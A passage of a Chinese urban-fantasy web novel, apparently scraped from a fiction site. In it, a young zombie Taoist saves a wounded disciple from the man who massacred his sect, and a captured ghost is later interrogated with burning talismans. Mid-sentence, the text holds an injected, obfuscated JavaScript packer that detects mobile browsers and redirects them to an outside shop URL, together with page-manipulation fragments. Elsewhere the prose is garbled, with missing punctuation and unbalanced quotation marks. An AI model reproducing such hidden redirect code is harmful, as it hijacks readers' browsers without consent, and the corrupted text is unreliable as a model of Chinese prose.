“好久没下这么大雨了还好我来上班之前把家里的窗户关了不然今天非得淹了不可。” “嗐你别说上次真给我淹了。” 几声放松的交谈以后他们的对话内容再次回到住院部的病号身上其中一个短发护士弯腰拿起册子扭头问其他人:“VIP1206那边是不是还没按过铃?” 个高的护士点点头:“嗯我去看过了病人的情况挺好的。” “那就行。” 大楼内灯光微微暗淡护士们有条不紊地做着自己的事情而大楼外男人揭掉了身上的避水符抬眸看向面前这栋二十楼高的建筑。 三个保安从他的右后方而来其中一人与他擦肩而过时手臂像是撞到了什么发出剧烈的疼痛。 保安猛地一扭头。 “怎么了?”其他两个保安问。 “我也不知道”他抬起手“就是刚刚走过来的时候好像撞到了什么东西。” 此话一出另外两个保安对视一眼表情看着有些许诡异其中一个用手里的棍子轻轻戳了戳同事所说的位置但那里空空如也他便呼出一口气来。 “没事可能是碰上哪位大哥了。”没再原地多停留两人推搡着同事 他们的身影逐渐消失男人低头伸手弹了下右手臂的衣服明明半点灰尘也无但只要一想到刚刚与一个保安碰上了就好像有一阵恶心的黏腻感始终贴着他的皮肤怎么也擦不掉。 他啧了一声强忍着闭了闭眼。 几秒钟后眼眸重新睁开问小鬼:“在哪里?” 小鬼低声回答:“1206除了薛苍之外还有一个人类不出意外的话应该是救了薛苍的人。” 男人闻言低低笑了一声:“垃圾堆里的人也敢随便救,看来是没吃过亏,不过……也没下次机会了。” 他抬步往12楼而去,走入大楼内的刹那回过头来,对小鬼道:“我希望等我解决了薛苍出来,你也已经把撞我的那个保安给解决掉了,好吗?” 小鬼不敢不应,用力地点头。 它的豢养者看着很有礼貌,表面好似询问,实则就是命令,绝对不允许任何人反抗……鬼也一样。 不敢惹豢养者生气,又必须在豢养者解决薛苍之前将保安杀掉,小鬼不再有任何迟疑,身影一闪就消失在原地,紧接着出现在了那三个已经巡查到其他地方的保安身后。 它伸出细长的舌头,眼神直勾勾盯着保安,宛若在看什么味道鲜美的食物,而尖锐的牙齿在灯光下泛起了几缕冷芒。 … 住院部1206病房内。 哑巴小鬼正趴在床边瞧着病床上的豢养者。 不久之前有个护士姐姐过来看了一眼,自顾自地嘀咕了一句“情况不错”,让哑巴小鬼开心了好一阵。 它小心翼翼地观察着豢养者,从自己的锦囊里掏出了一张符纸贴在自己的身上,随后伸出手,将豢养者身上衣服的褶皱抚平,又用力拉了拉被子,生怕豢养者着凉。 做完这一切,它才飘到沙发上准备休息。 同一时刻,正在隔壁小房间内睡觉的容镜倏然睁开了眼睛,少年乌溜溜的眼眸里没有一丝睡意,清醒无比。他悄无声息地转头看向门口的位置,随后,像是察觉到了什么,又蓦地闭上了眼睛。 噗嗤。 奇怪的声音响起,一只浑身干瘪瘦长的恶鬼从门板上探出半截身体,又慢吞吞地将剩余的身体拔了出来。 恶鬼伸长脖子,视线在黑暗之中准确无误地聚焦在了床上的那道身影上。它用力地嗅了一口,一种从未闻到过的香味弥漫在空气中,美妙得令它晕头转向。 这就跟饿了很久肚子的野兽突然闻到鲜甜的肉香一样,从骨子里钻出来的欲望完全地支配了身体,等恶鬼回过神来时,它已经冲到了床边,毫无迟疑地低头一口咬下。 容镜原本是想再忍忍的。 但是他忍不了了。 这只恶鬼跟病床上那位养着的哑巴小鬼可不一样,哑巴小鬼浑身干干净净,明显是受到精细照顾的,但面前的这只从一踏入小房间就散发着一股浓烈的腥臭味,一看就是平日里生肉腐肉吃多了。 尤其是当对方凑近病床,那股恶心的味道简直要将容 镜给熏得恶心吐了。 实在忍不了的容镜二话不说一把掀开被子细白的手指毫不犹豫地箍住了恶鬼的脖子。恶鬼显然没想到这一茬被惊得都没回过神来一双猩红的眼睛错愕地盯着容镜。 几秒后它开始疯狂地挣扎手臂和腿晃动间那股恶臭味道更加明显。 容镜:“……” 他痛苦地捏住鼻子想一把就这么将恶鬼的脖子给捏断的时刻门外却突然响起了咔哒的推门声紧接着哑巴小鬼“啊啊啊”的尖叫刺耳响起。 哑巴小鬼惊慌失措地看着面前的这道人影 是他! 就是这个人将他的豢养者打成重伤的! 哑巴小鬼下意识地想去找容镜求救可小房间的门就在男人的身侧它根本无法靠近只能通过嘶哑的尖叫来提醒容镜。 男人见到哑巴小鬼过激的反应也没在意只是一步一步地靠近最后停在了病床边上垂眸看向这位流云观的最后一个活口。 他偏头看向床头显示青年生命体征平稳的器械颇为感慨:“没想到还真让人给救回来了但很可惜——” 男人慢条斯理地道:“我韩裕想杀的人从来没失手过。” 小鬼像是察觉到他要做什么疯了一般窜上去试图用牙齿啃咬韩裕的手臂但身影刚刚一靠近就被韩裕抬手一挥剧烈的疼痛从脖颈处传来哑巴小鬼整个身体在半空中呈抛物线飞了出去。 韩裕实在是没将这哑巴小鬼放在眼里。 这小鬼太干净了没有怨气、没有恶意在他眼里就跟一个摆着看的花瓶一样他也搞不明白堂堂流云观未来的观主为何会留这么一个废物在身边。 不过这些疑惑并不重要。 他伸出手手指逐渐伸向青年的脖子但就在指腹触碰到青年脖颈的皮肤时原本躺在病床上毫无动静的人眼皮轻轻颤抖。 要醒了? 韩裕挑起眉突然来了几分兴味。 醒了也是好事醒了以后发现自己获救了结果还未来得及开心就要面临死亡……这种大起大落看着一定很有意思吧? 韩裕被这个想法勾起了兴趣手指的力道逐步松懈下来好整以暇地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338343|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注视着薛苍笑吟吟地道:“如果醒了不如就赶紧睁开眼睛看看?你养着的那只哑巴小鬼快死咯。” 无数道嘈杂的声音不停地在薛苍的耳中响起他像是陷入了极其恐怖的梦魇。 他只是像往常一样遵循师门的意思去外游历。道观的几位师叔总说他是未来的流云观观主需要担负起很大的责任所以不停地锻炼他。他有时候虽然也会感到疲惫却从不懈怠尤其是这一次的游历早早完成目标便回到了师门。 可他带着给师兄弟们的礼物踏入流云观的那一刹浓郁的血腥味、恶鬼腥臭的气息疯狂涌入他的鼻腔之内熏得他头晕脑胀眼前更是一片模糊。 他无意识地抬起了脚往观内走去。 入目是猩红的鲜血和数具尸体流云观的现任观主他的师父 薛苍几乎要疯了。 他将身上的东西扔下奔向对方可就在那一秒一道人影擦着唇角的血从旁侧走了出来那人偏了偏头低低笑了一声:“果然有条漏网之鱼看来我的等待是值得的。” 薛苍不知道他是谁但薛苍知道对方肯定与流云观这么多同门的死有关系。 双方交手薛苍毫无还手之力。 他像一条落水狗一样被有灭观之仇的男人撵得向各地逃窜他的身上多了看得见的、看不见的伤口每一个伤口都在消耗他的生命力可他不敢有任何的停留和松懈。 他打不过对方却不能死在对方手里。 因为他还得报仇。 道观那么多人的生死之仇都握在他手里他们不能死得不明不白。 薛苍记得意识残留的最后时刻他找到了一个很深的巷子狼狈得躲进了垃圾堆里。 然后呢? 然后发生了什么? 疑惑占据脑海焦躁的情绪开始涌现薛苍的呼吸逐渐变得急促苍白的脸也因为激动而染上了血色他感觉到眼皮上好似有很重的重物死死压着可他逐渐清晰的意识也在告诉他—— 快点睁开眼。 必须睁开眼。 啪。 病房上方的大灯闪烁了一下薛苍猝然睁开眼睛突兀地对上了一张男人的脸。 当模糊的视线聚焦看清楚对方的长相时薛苍浑身的血都冷了。 怎么……是他? “你——” 青年的喉间艰难地溢出声音眼中一闪而过的惊惧完美地取悦了韩裕他的嘴角缓缓噙起笑容耸耸肩跟薛苍解释眼下的情况:“你的运气 还挺好的,躲在那垃圾堆里竟然还能被人救了送到医院来。” “只是……”他故意拖长声音,语气也变得遗憾,“好可惜啊,那个救你的人根本不知道你有多危险,也不知道替你清除气息,所以没办法咯,我只能追过来了。” 冰冷的手指摩挲着薛苍的脖颈皮肤,冰冷的气息也逐渐没入血管,令薛苍意识到他身上的温度正在不停地下降,身子控制不住地颤抖。 可他的眼睛依旧死死地盯着韩裕,嘴唇似也动了动,韩裕见状弯了弯腰,将耳朵附在他的耳边,勉强听清楚了青年喉间的挣扎。 他在说:“我不会放过你的。” 韩裕没忍住哈哈大笑起来,猖狂的笑声震动胸腔,他笑完了腰,擦了擦眼角的眼泪,笑着说:“你准备怎么不放过我?当了鬼以后找我报复吗?可惜了,你和你的同门连做鬼的机会都不会有,更别提投胎转世了。那么……再见咯。” 手指贴上薛苍的喉骨,韩裕在薛苍充满恨意的目光下,倏然用力。 咔。 清脆的断裂声响起,却并非薛苍的喉骨被捏碎,而是韩裕的指骨在碰撞硬物以后折断了。 疼痛窜起直达神经末梢的这一刻,韩裕脸上的笑容一点点消散,一双眼眸就这么冷沉下来,阴郁的视线直勾勾地盯着薛苍身上突然浮起的金色屏障。 薛苍的身上还有保命的符纸。 韩裕单手握住右手的手指,再度响起的咔哒声音之后,弯曲的手指重新变得挺直。随后,黄底红符的纸张贴入五指,韩裕将手指紧握成拳,一拳头就这么带着无比强悍的力道狠狠砸向了那道屏障。 咔。 屏障与韩裕的拳头接触的点出现一个圆形的撞击痕迹,紧接着一些蛛网一般的痕迹以这个圆形为中心,开始向四面八方四散开去。 韩裕见状,又砰砰砰地锤了几拳头。 终于,在第五下的时候,屏障咔啦一声彻底碎裂,无数细碎的渣渣在掉落的瞬间宛若金光融入空气,消失得无影无踪。 “这回,是真的要说再见了。” 嘭。 拳头再次锤下。 又一道金色的屏障毫无预兆地从薛苍的身上窜了出来。 韩裕:“……?” 哐哐哐砸了六下,屏障再次碎裂并消失。 韩裕掏出了自己的长剑,往薛苍的心口猛地一刺。 果然,长剑的剑端抵住了金色屏障。 脸上的游刃有余早在前两次虐杀薛苍失败时便消失得无影无踪,被戏耍的愤怒彻底燃烧了韩裕的理智,他冷笑一声:“可以,有点本事,是我小看你们流云观的底蕴了。” 殊不知,无法动弹的薛苍也陷入了深深的沉默。 他是流云观未来的观主,流云观什么底蕴,他还不知道吗? 什么时候有这东西了? 薛苍的心底突然窜起一种可能,他想到了韩裕刚才提到的救他的人。 正想着,只见韩裕的手在空中一伸,尖叫响起的同时,哑巴小鬼的身体便被牢牢禁锢在韩裕的五指之中。强行的挤压令哑巴小鬼感受到了剧烈的疼痛,苍白着小脸疯狂挣扎起来。 薛苍见状,眉目间染上焦急之色:“小鱼!” “竟然还给这小鬼起了名字,看来你的确很喜欢它。”韩裕眼底浮起嘲讽,“没办法,杀不了你,我只能杀了它来解气——” 话还未说完,陌生的少年音从旁传来,容镜推开门看向他,眼眸微弯:“我没同意你杀了它哦。” 作者有话要说 来咯,晚安宝宝们~ 第 32 章 我看着真有那么像... 第32章我看着真有那么像. 032. 容镜的手中跟提垃圾一样提着只恶鬼,恶鬼浑身软趴趴的,脑袋以一种诡异的姿势下垂,过于瘦长的四肢拖在地上,随着他的手指松开,恶鬼的身体轻飘飘地落下,又在毫秒之内嘭得爆开,化作了黑色的浓烟消散不见。 见到这一幕,韩裕心底还有什么不明白? 搞半天救了薛苍的这家伙竟然是同道中人,那么……薛苍身上的符纸应当也是他下的。 他说呢,先前与薛苍交手的时候,薛苍有这好东西怎么不见拿出来,否则也不至于沦落到差点死在垃圾堆里。 韩裕看看薛苍,再看看容镜。 少年穿着很简单的T恤和黑色运动短裤,露出白生生的手臂与长腿,这种简单的穿着令他看上去尤其稚嫩年少,简直跟个高中生似的。 换言之……无法给人半点压制力。 不过,他那符纸倒是挺厉害的。 韩裕在心底想着,嘴角的弧度没有变化,只是眼底的阴冷气息愈发浓重了些。毕竟,眼见着流云观的最后一个活口就要死在自己的手中了,却突然来了个不速之客打断了这个美好的过程,韩裕心情好才有鬼了。 “你想救它?”他将手里的哑巴小鬼提到半空与自己的视线持平,偏头看向哑巴小鬼,小鬼蜷缩成一团,在他的视线下害怕得瑟瑟发抖,他见状不由得笑了一声,“说实话我挺搞不明白的,这种没什么用的小鬼到底为什么能在你们的心里占据一定地位,以至于现在让我掐住了软肋。” “你话好多。”容镜礼貌地点评了一下他絮絮叨叨的行为,但显得分外无辜的语气跟挑衅并没有太多的区别,韩裕脸上的表情微微僵硬,眼神愈发地不善。 随即,随着一声冷笑,毫不犹豫地收紧了手指。 既然觉得他话多,那么这小鬼就赶紧死吧。 啪。 熟悉的金光再次迸发而出,韩裕的手指之下响起噼里啪啦的玻璃碎裂一般的声音,梅开好几度的场面令他的愤怒到达了顶峰,一把丢掉哑巴小鬼,抄起手中的桃木剑便朝着容镜刺了过去。 哑巴小鬼在半空中挣扎着飘向薛苍,被艰难抬手的薛苍一把搂进怀中。 而不远处,容镜抬手,白皙细长的手指在长剑直抵面门时,倏地一把握住长剑剑端。刚握上去,他便察觉到一股强烈的灼烧感从长剑表面撩到了他的掌心。 容镜轻轻嘶了一声。 差点忘了,眼 前这个可不是小鬼。虽然杀了很多人,但却是个正儿八经的道士。 对付他这类的小僵尸,道士的符纸是上好的武器。 不过没有关系,符纸嘛,他也有。 容镜掏出一张贴在自己的身上,被烫伤的掌心内传入一股冰冰凉的气息,瞬间压过了刺疼,抚慰了伤口。并且,等容镜再度用力握上长剑时,已经不受任何因素的影响。 韩裕原本想在薛苍身上瞧见的大起大落情绪如今倒是意外在他身上露了个彻底。 最初瞧见容镜单手接剑,手却受了伤,他不由得在心底冷嘲—— 看来也就这样。 结果下一秒,符纸一贴,容镜的手不止没事儿了,他甚至还感觉到手里的剑被强硬的力道死死箍住。 不等韩裕露出震惊的表情,就听见一阵咔啦的断裂声传来。 桃木剑砰然炸开,无数的碎片跌落在地上,被容镜踩在了脚底。 “你……” 韩裕的瞳孔微收缩,这柄桃木剑是他师叔奖励给他的礼物,开过光,甚至用不少恶鬼的怨气浸泡过,就算对上流云观的老道都勉强有一战之力,怎么到了容镜的手里,就这么轻易地被捏成了渣? 开什么玩笑! 他觉得惊讶,容镜却觉得理所当然。 这就叫大力出奇迹。 他上前一步,韩裕下意识后退一步。 这怂样看得容镜直皱眉,他抬手一挥,几张符纸飘至半空又神奇地悬空停留,随后,几道金光从符纸的纹路中央直射而下,围成一道包围圈将韩裕困在了正中央。 韩裕眼眸微凝。 片刻,忽而问:“还未问过道长,出自哪个师门?” 容镜挑了挑眉,露出看傻子的笑容:“你觉得我会告诉你,让你来寻仇吗?” 韩裕闻言倒也没生气,只是道:“你想多了,我只是很震惊。我韩裕自认为上知天文下知地理,国内数一数二的大门派都知晓,却没想到有句话说得好,叫做天外有天,人外有人。你这位道长这么年轻就有这么厉害的本事,想来你的师门肯定也一样厉害。” 容镜扬首:“那当然,我们师门最牛了。” 韩裕循循善诱:“既然如此,道长告诉我也无妨。” 容镜:“怎么就无妨了?” 韩裕:“看样子您肯定是师门中年纪最小的,您都能轻轻松松毁了我的桃木剑,您的师长们定也如此。所以,根本不必担心我去寻仇。再者,我也不是什么傻子,会自找死路。” 容镜 觉得他这话说得确实挺有道理的,但他好奇的是:“既然如此,你为什么非要知道我师门?” 韩裕:“自然是为了以后让我的师兄弟们绕着你们走,免得大水冲了龙王庙,您说,是吧?” 韩裕这些话确实没有半分逻辑问题,但却听得病床上的薛苍气血上涌,生怕容镜年纪尚轻一个没晃神就真的将自己的师门信息给泄露了出去。 他张张嘴正要开口,下一秒,就见容镜拎起一把桃木剑,直刺韩裕的心口:“我看着真有那么像大傻蛋?” 韩裕见忽悠不成,双眼沉下来,低咒了一声,旋即身体迅速后撤。然而后背撞上那金纹,刺痛感粘附其上,血腥味疯狂飚溅,他的脸色微变,就地往前一扑。 但前方就是容镜的桃木剑,桃木剑的尖端印入他的眼瞳之中,令他感受到了浓浓的威胁。 韩裕又骂了一声,指尖突然飞出几张黄色符纸,符纸一落地,眼前一道耀眼的光闪过,容镜猛地闭上眼睛,等眼皮上的灼烧炙热感消失,再睁开眼睛时,被困在符阵之中的韩裕已经消失得无影无踪,而他原先所在的位置已经被一个奇怪的小玩具给取而代之了。 容镜:“……?” 他上前,弯腰捡起小玩具,是一只长得很怪异、面白唇红、笑容极其夸张的不倒翁娃娃。 “换位符,”病床上的青年艰难撑起自己的身体,沙哑又虚弱的嗓音从喉咙中挤出来,“韩裕多半是早就准备好了退路,在某个位置的不倒翁身上留了符纸,等他要脱离困境,只需要在自己的身上贴上换位符,就可将自己与不倒翁的位置互换。” 薛苍到底在外游历过很多回,知晓的东西比容镜这只躺了十二年棺材的小僵尸多多了。 容镜蹲在地上观察了下,但那符纸此刻已经化作灰屑消失得一干二净。 有点遗憾。 他拍拍沾上灰屑的衣服,将顺来的桃木剑还给薛苍,问他:“你怎么样?有没有哪里不舒服?” 薛苍摇头:“谢谢,我没事。” “没事就行。”但没事也得按铃通知护士他醒来了。 护士带着值班医生而来,深夜为薛苍做了几个检查,薛苍的恢复能力罕见得好,不过还得多住几天院,以便实时监控身体情况。 深更半夜折腾一回,容镜也有点疲惫,哈欠连天,眼眶都在冒眼泪,他留下一句“明天我帮你联系雁城这边的特殊部门”便转身回小房间去睡觉了。 小房间的门很轻地吧嗒一声关上,整个病房便陷入了绝对的寂静之中。 灯光关闭薛苍在黑暗中睁着眼睛眼前回荡的始终都是流云观的那一片可怕的血色和尸体。哑巴小鬼像是察觉到什么凑到他的枕头边上用脸轻轻蹭了蹭薛苍的脸。 薛苍呼出一口气手指碰了碰哑巴小鬼的头笑了一下低声道:“小鱼谢谢你。” 他知道那么偏僻的地方是不会有人经过的。 唯一有可能的就是小鱼冒着危险去找了人救他。 … 第二天。 清晨的日光温暖又柔和。 住院部外开始有熙熙攘攘的声音响起宋特助拎着早餐走进电梯正欲低头按下关门键眼角却落下一道影子他下意识偏头却看到了一张意料之外的脸。 “谢总?!” 谢长时穿着简单的衬衣和西裤没有往日西装革履的严谨和冷漠倒显得闲散。 “您怎么会在这儿?海市的事处理好了?” 虽然一个特助这么问总裁好像有点奇怪但谢长时倒是没多大反应只是随口解释了一句:“后续一点小事用不着我章逸明留在那儿了。” 哦。 懂了。 他们家谢总本来是可以等等再回的但估计是知道了昨天晚上发生的事所以压缩了计划自己先走一步。 来到12楼宋清去找医生询问病人的情况而谢长时则是提着自己与宋清各自准备的早点推开了1206的门门一开薛苍便瞧见了他。 他心思转动大概猜到对方应当是来找容镜的便指了指小房间的方向。 谢长时对他点点头转身推开小房间的门又轻轻带上。 视线所及之处容镜缩在小床上大半张脸几乎都埋在了枕头里。软被卷在腰侧骨肉亭匀的小腿大大咧咧地搭在床沿要掉不掉的。 谢长时将早点放到小桌上走过去握住他纤细白皙的脚踝往里放又俯身弯腰将团成一团的被子拉出来只是手指刚一动对方好似已经有所察觉似的手臂抬起拉住他的手臂用力将他往下一拽摔坐到床上继而鼻尖动了动嗅着熟悉的气息跟只小狗一样蹭到了他的怀里。 以很奇怪的姿势上半身趴在他怀中下半身搭在床上继续埋头睡。 谢长时:“……” 他伸出手指戳戳容镜的脸 呼吸起伏穿透衬衣贴上了谢长时的腹肌。 那种若隐若现的温热触感宛若小蚂蚁在 肌肤上爬过痒得很谢长时便心一狠将人提了起来强行将对方拉开然后放到床上。 容镜睁开眼睛眼神有些哀怨地指责他:“谢长时你变了现在让我靠着睡一会你都不愿意。” 谢长时起身随意拍了下布满褶皱的衬衣语调漫不经心:“我匆匆赶回来昨晚都没睡两个小时你还要靠着我睡容镜你们小僵尸有没有良心?” 容镜低头看看自己的心口问谢长时:“你要不要摸摸看我的良心它还活着跳得可快了。” 谢长时没有摸他的良心但揉了揉他乱糟糟的头发喊他起床:“洗漱吃早饭。” 一听吃早饭三个字容镜又浑身都是力气三两下就从床上爬了起来拎着一次性洗漱用品奔向了浴室。 吃过早饭谢长时和宋清去了公司容镜便给池白打了个电话 池白是带着阿秋一块来的。 他双手插在兜里一副不着调的模样走到薛苍的身旁拉了个椅子坐下问:“流云观的薛苍?” 薛苍靠在枕头上脸色还有几分苍白但比起昨晚上状态已是相当不错了。 他对池白点点头扯了下嘴角打了个招呼。 池白拎过那只从特殊部门带来的龇牙咧嘴的小鬼问薛苍:“你认得吗?” 薛苍盯着小鬼看了一阵低声回答:“这只和容镜身边那只都是我们流云观的师叔豢养的小鬼我已经从容镜的口中得知事情经过了很抱歉……但它们真的没有恶意它们为护主重伤失去自我意识又因豢养者身死所以才不受控制地流窜到其他地方。” 说到“豢养者身死”的时候薛苍的喉结滚动了一下语气微顿。 尽管情绪和面部表情起伏都不大可在场的几人都注意到了他搭在被子上的手正一点点收紧暴露在外的指关节捏出了比雪还白的痕迹显然在努力地克制怒火与悲痛。 池白和阿秋对视了一眼。 池白将叶子标记一事交给阿秋去调查以后阿秋便亲自去了一趟流云观。但等阿秋赶到流云观的时候流云观内空无一人只有地上、墙壁上残留着血液的痕迹。 即便还不清楚流云 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他无力地垂下脑袋双手盖住自己的脸声音极度沙哑:“其实我也不知道流云观到底发生了什么我回去的时候就是一片尸海后来韩裕出现一直在追杀我他没有提过他与流云观的仇怨但几次与他交手听他的意思流云观的情况似乎是他一手造成的。” “你的意思是他一个人杀了你们流云观那么多人?”池白没忍住插了句嘴“可昨晚他不是差点折在容镜手里吗?” 池白对流云观不是很熟悉但阿秋却知晓几分流云观虽然比不上青云观这种大道观但观主还是很厉害的而且手下十多个道士怎么看也不至于被韩裕一个人给屠戮干净了。 这实在说不过去。 “其实我与韩裕交手的时候也察觉到了不对他的确比我强但肯定比不上我师父所以我对他的说法持有怀疑。” 但不管如何他的师门被屠戮是事实。 “可能是他在骗你也可能是他借助了什么法器。”阿秋给出回答。 话刚说完窗户啪啪啪被敲响屋内几人的视线齐齐往窗户上一瞧程璞玉一钻进来就迎上这么几双眼睛又下意识默默缩了回去。 旋即想到容镜在呢它担心什么果断一头钻进来。 众人这才瞧见它的手里还提着一根绳子绳子的另一端牵着一只小鬼。 容镜眨眨眼正欲问它什么情况一直贴在薛苍身旁的哑巴小鬼却啊啊地惊叫了起来模样像是被狠狠吓到了。薛苍赶紧安抚它随后对容镜几人解释:“这只小鬼是韩裕养着的韩裕追杀我们的时候它一直跟在韩裕身旁。” “韩裕是谁?”程璞玉还不知道这间病房发生过什么但它解释了这只小鬼的由来他对容镜道“昨晚你 不是给我发信息说你遇到了一只很可爱的哑巴小鬼嘛,我就想来看看有多可爱,结果刚飘到医院就瞧见它在欺负医院的保安,我就略微出手了一下……” 说着肩膀垂下来,踹了小鬼一脚,有点生气:“谁知道它那么能跑,我追了九个小时才在刚刚把它给追上,带过来了。” 说是欺负其实不太准确,这只小鬼明显是要行凶的。 它伸长脖子看向容镜后方的池白与阿秋,好奇地问:“人类这边,民众抓到杀人犯上交给警察会有一定奖励,你们特殊部门有没有呀?” 池白扭头看向阿秋:“我们特殊部门有吗?” 阿秋:“可以有。” 池白将头扭回来,肯定道:“有的。” 阿秋:“……” 程璞玉果断将小鬼往他们面前一扔,爽快道:“那给你们。” 韩裕是靠小鬼来嗅薛苍的气息来追杀薛苍,因此小鬼自然是认得薛苍的,它在见到薛苍好端端躺在病床上时便猜到昨夜韩裕的计划失败了,心知不妙,赶紧将自己蜷成一团,根本不敢吭声。 但池白等人的思维刚陷入困境,好不容易来了个与韩裕一同作恶多端的家伙,自然不会轻易放过机会。 池白瞥它两眼,随手掏出一张符纸,抬了抬下巴,语气间尽是不容置疑的威胁:“我问你答,否则立马送你去死。” 小鬼再度瑟缩。 池白直接问:“韩裕为什么要虐杀流云观众人?他说他一个人屠戮了整个流云观,真的假的?” “我、我不知道。” “你不知道?”池白的嗓门提上来,冷笑一声,眨眼间符纸便贴在了小鬼的手臂上,刹那间,小鬼尖锐刺耳的叫声几乎震破耳膜,似乎还隐隐传到了门外。 路过的护士耳尖地察觉到了声音,有些奇怪地推开门探头朝着病床看去。 容镜、池白、阿秋以及薛苍回头与她对视。 容镜弯起眼睛,嘴甜地问:“护士姐姐有什么事吗?” 护士连忙摆手:“没事没事,就是单纯地看看你们这边有没有什么情况。” 容镜乖乖回答:“没有哦,病人说他现在感觉挺好的。” 病人本人薛苍点了下头,冲护士露出了笑容:“昨天晚上多谢你们救我。” 护士摆手摆得更厉害了:“这都是我们应该做的,那你好好休息。” 门关上,池白慢悠悠地收回眼神,长指之上再度夹上了一张符纸,冲小鬼抬起下巴,似笑非笑地问:“你现在知道了吗?” 小鬼浑身都在打颤。 就在刚刚那几秒钟时间内,它的手臂被火光灼烧得一干二净,此时此刻手臂没有了,但那种火燎的刺痛感却始终停留着。 它咽了咽喉咙,挣扎着道:“我真的不知道,我只是一只被豢养的小鬼,接触不到——” 话未说完,池白手中的符纸便再次飞了出去,贴在了小鬼的另一条手臂上。 火光四射,厉鬼尖叫响彻云霄。 病房的门再度被推开,那位有过一面之缘的护士再度将脑袋探了进来,再度迎上了四双的眼睛。 她沉默了一下,问:“我就是想问问,四位有没有听到什么奇怪的尖叫声?” 作者有话要说 护士姐姐:我真服了 第 33 章 就连道观里的老鼠... 第33章就连道观里的老鼠 033. “尖叫声?池白手指微收,瞥了眼蜷缩起来面露痛苦之色的小鬼,耸了耸肩膀,“没有听到啊,你是不是听错了? 护士的眉心皱得紧紧的。 真的听错了? 可是接连两次,那刺耳的叫声好像都是从这间病房内传出来的。 护士再看四人,要么长得浓眉大眼、要么长得端正好看,要么病恹恹的说话都有气无力,除了那个穿黑衣的像是玩cosplay地戴了半张很薄的面具显得古怪了点……看着都不像是喜欢耍人玩的混球。 看来确实是她的问题。 护士在心底说服了自己,跟四人说了声抱歉,又在离开时带上了门。只是,她并没有及时离开,而是在门口停留了一阵,确保那恐怖奇怪的尖叫声没有再出现,才彻底松一口气。 殊不知病房内的四人竖起耳朵,听着脚步声渐离渐远,才对视一眼。 阿秋抱怨地看向池白:“早跟你说了干这种事儿的时候记得贴静音符。 这里又不是特殊部门,特殊部门传出尖叫,雁城警局的其他警察被吓了几次以后都觉得习以为然,可在外面就不一样了。 把人吓坏了还得赔偿,医药费和精神损失费又都不便宜。 他们部门哪来这么多钱? 被教育了的池白心知是自己的问题,倒也没有反驳,只不过看得出来气性很大,掏静音符的时候,一连掏出了好几张,啪啪啪地全部拍在了小鬼的身上。 阿秋:“…… 池白瞥他:“我贴了。 然后继续抬起下巴,面露不善地问:“再给你一次机会,你到底说不说?不说老子真把你烧成灰,反正你死在老子手上也是死,死在韩裕手上也是死。 顿了顿,阴恻恻地补充了一句:“不过,死在韩裕手上应该会更痛苦一点吧,也不知道他会怎么折磨你。 小鬼被两次灼烧,浑身疼得抽搐,又听到池白的话,吓得咬紧了嘴唇。 它的豢养者从来就不是个好相处的,若是被他知道自己被薛苍这边的人逮住,就算它什么秘密都没说,韩裕也不会放过它的。 因为在韩裕看来,被抓住就是它的无能,而无能的小鬼便没有活着的必要。 它紧紧贴在床柱上,猩红的眼睛里淌出一两点因为疼痛和害怕出现的泪水,嘴巴也跟着动了动。 池白见着它这模样就来气,忍不住提高了音 量:“你说话不会大声点? 容镜戳戳他的手臂,礼貌地提醒:“你给它下了静音符。 池白:“…… 草。 气急败坏地将静音符扯下,那小鬼颤抖的声音便传入了耳中:“韩裕为什么要杀流云观众人我真的不知道,他是我的豢养者,不会跟我说这种…… 池白手一扬,黄色的符纸晃过小鬼的视线,满满都是威胁的意味,它连忙加快了语速:“但我知道韩裕是如何屠戮流云观的。 “说来听听。 “韩裕手中养了一只恶鬼,那恶鬼是韩裕的师门送给他,从最初便以人类和鬼魂为食,特别厉害。而且……它舔了舔嘴唇,压低了声音,“那只恶鬼生前似乎也是个道士。 道士? 阿秋被这两个字勾起了好奇心,不由得问:“何以见得? 小鬼便继续解释:“普通的小鬼恶鬼对付人类没什么特定的手法,纯靠蛮力和怨气,但那只恶鬼却会道士的一切,流云观的观主就是死在与它的斗法之中。 听它这么说,薛苍便想到了他见到师父的尸首时,那几根嵌在对方身上的长钉。 原来那长钉竟不是韩裕的手笔。 薛苍敛下眼眸没有吭声,小鬼颤颤巍巍看他一眼,又看向池白,得来一句“再想想还有什么能交代的赶紧一块交代了以后,只能小声地继续说:“韩裕追着他离开以后—— 它指了指病床上的薛苍,“那只恶鬼便留在了流云观,所以,不出意外的话,流云观的那些尸首都已经进了它的肚子。 难怪。 阿秋在心中道,难怪他赶到流云观却什么也没瞧见。 只是—— 他扭头看向薛苍,青年额角的青筋暴动起伏,指甲陷入掌心竟然掐出了一道道血痕。 这对于薛苍而言,的确过于残忍了。 “既然韩裕身边有这么厉害的帮手,为什么昨晚跟我对峙的时候对方却没有现身呢?容镜双手托着下巴,疑惑地问。 按照小鬼的说法,那道士恶鬼这么厉害,如果昨天晚上他们交上手,胜负估计没那么好分。 韩裕也不必那般狼狈地利用换位符离开。 “因为那只恶鬼忙着消化流云观的尸体,帮不了他。 “还有最后一个问题, 小鬼不敢有任何隐瞒,声音低哑地说:“玄天观。 三个字一出,容镜先是 一愣,旋即噌得一下从椅子上蹿了起来,一双乌溜溜的眼睛瞪圆,白皙的脸蛋被气红,怒骂:“放屁! 他火冒三丈地盯着小鬼:“我们玄天观才没有这种垃圾!我们玄天观上到观主下到扫地小道士、从人到小动物都是好的!就连道观里的老鼠都很讲礼貌,从来不会偷吃香油供品! 池白的注意力被容镜一拉就偏,颇为惊讶:“你们道观的老鼠都这么听话?怎么教的? 话刚说完,就被人狠狠踹了一脚小腿,池白被这痛激得回过神来,赶紧改口:“不是,我是说怎么会是玄天观? 池白从段云双的口中得知过玄天观的存在,但他和段云双一样,对‘玄天观’实在陌生,本以为只是哪个藏在深山角落里的破旧道观,却万万没想到有朝一日会从这只小鬼的嘴里再度听到。 